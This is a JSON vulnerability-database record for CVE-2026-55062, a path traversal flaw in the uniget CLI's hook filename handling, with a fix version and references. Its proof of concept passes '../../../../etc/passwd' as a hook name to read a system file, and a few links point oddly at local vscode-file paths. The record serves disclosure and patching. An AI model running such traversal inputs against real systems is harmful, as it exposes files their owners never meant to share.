{"id":"CVE-2026-55062","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-55062","summary":"uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability","details":"### Summary\nPath Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like [passwd](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html).\n\n**Details**\nFile: [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) `Lines 135-160`\n```\nhookFileName := args[0]  // User input not validated\nhookFile = preInstallHooksDir + \"/\" + hookFileName  // Direct concatenation\n```\n\nHook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.\n\n\n\n### PoC\n**Step 1:** Set cat as editor\n```\nexport EDITOR=\"cat\"\n```\n**Step 2:** Read /etc/passwd via path traversal\n\n```\n./uniget hooks edit --type=pre-install \"../../../../etc/passwd\"\n```\n\n**Step 3:** Output shows file contents\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n[...]\n```\n\n<img width=\"1014\" height=\"178\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0db0fe7e-533b-4d8e-a346-81886ce866ab\" />","published":"2026-08-17T17:46:33Z","modified":"2026-08-17T18:00:08.806657579Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"gitlab.com/uniget-org/cli","fixedVersion":"0.27.6"}],"fix":{"url":"https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91","label":"uniget-org/cli@7b4f18a"},"references":[{"type":"WEB","url":"https://github.com/uniget-org/cli/security/advisories/GHSA-m6jg-wr9m-cg2f"},{"type":"WEB","url":"https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91"},{"type":"PACKAGE","url":"https://github.com/uniget-org/cli"},{"type":"WEB","url":"https://github.com/uniget-org/cli/releases/tag/v0.27.6"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-17T18:00:08.806657579Z"}}